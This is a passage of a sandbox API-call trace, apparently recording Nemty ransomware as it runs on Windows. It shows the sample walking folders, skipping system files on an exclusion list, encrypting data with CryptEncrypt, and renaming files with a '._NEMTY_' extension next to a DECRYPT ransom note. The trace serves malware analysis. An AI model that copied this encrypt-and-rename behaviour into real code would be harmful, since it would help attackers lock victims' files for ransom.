nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.799] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.799] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.809] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.809] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.818] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.824] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.830] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.830] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0146.830] CloseHandle (hObject=0xffffffff) returned 0 [0146.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0146.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340478 [0146.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0146.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0146.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\slideShow.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js\\slideshow.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\slideShow.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js\\slideshow.js._nemty_kgobjgd_")) returned 0 [0146.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0146.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0146.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0146.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0146.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0146.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0146.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0146.831] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb13e5d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xb13e5d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xb164730, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0146.831] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0146.832] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0146.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0146.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0146.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0146.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0146.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0146.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0146.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.832] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb13e5d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xb13e5d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xb164730, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0146.832] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0146.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0146.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0146.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0146.833] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1910, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="...") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="$RECYCLE.BIN") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="rsa") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="NTDETECT.COM") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="ntldr") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="MSDOS.SYS") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="IO.SYS") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="boot.ini") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="boot.ini") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="AUTOEXEC.BAT") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="desktop.ini") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="CONFIG.SYS") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="RECYCLER") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="BOOTSECT.BAK") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="programdata") returned 1 [0146.833] lstrcmpiW (lpString1="settings.html", lpString2="appdata") returned 1 [0146.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0146.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0146.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0146.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0146.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0146.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0146.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0146.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.html", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.html", lpUsedDefaultChar=0x0) returned 13 [0146.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0146.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0146.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0146.834] Sleep (dwMilliseconds=0x5) [0146.840] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xb2bb390, dwHighDateTime=0x1d561e8)) [0146.840] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xb2bb390, dwHighDateTime=0x1d561e8)) [0146.841] GetLastError () returned 0x12 [0146.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.841] GetLastError () returned 0x12 [0146.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.841] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0146.841] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0146.841] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0146.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0146.841] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="SeGtFHnPxU/WE5I2dkbvZaN52TGAjZjD11Xz9+O44eRKeuwlh2zeiFfmVSeBhAOX\r\nkgWTIgCNlvi3X8LRYTbJbHqTF2+DhyvzvmvWueBPyVaZ2C1/tUnB5CnLhxpityAB\r\nSoTjmkI/E5HXc1pP7BMsQ4Kk041WxuRBdTAyXGekvtM/ARH3GTetlVeGQpV1Y6BK\r\n3oiLZHXA2wXerLbmxIv2jc9bmEWHx8jRSpAt0LTYXbSfQfQb81ee35Qe97+VYcsB\r\n0u+PIRTQljeMEEN5S+5vemVico+y0h3hCYC2igLyOWzUghjQuq9FqTiDdKeYlCx0\r\n6ujEtfmUL3QJ+2RV7qs7ZQ==\r\n", pcchString=0x653e91c) returned 1 [0146.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0146.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0146.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0146.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0146.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0146.841] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\settings.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.841] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0146.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0146.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.842] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0146.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.851] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0146.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.851] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 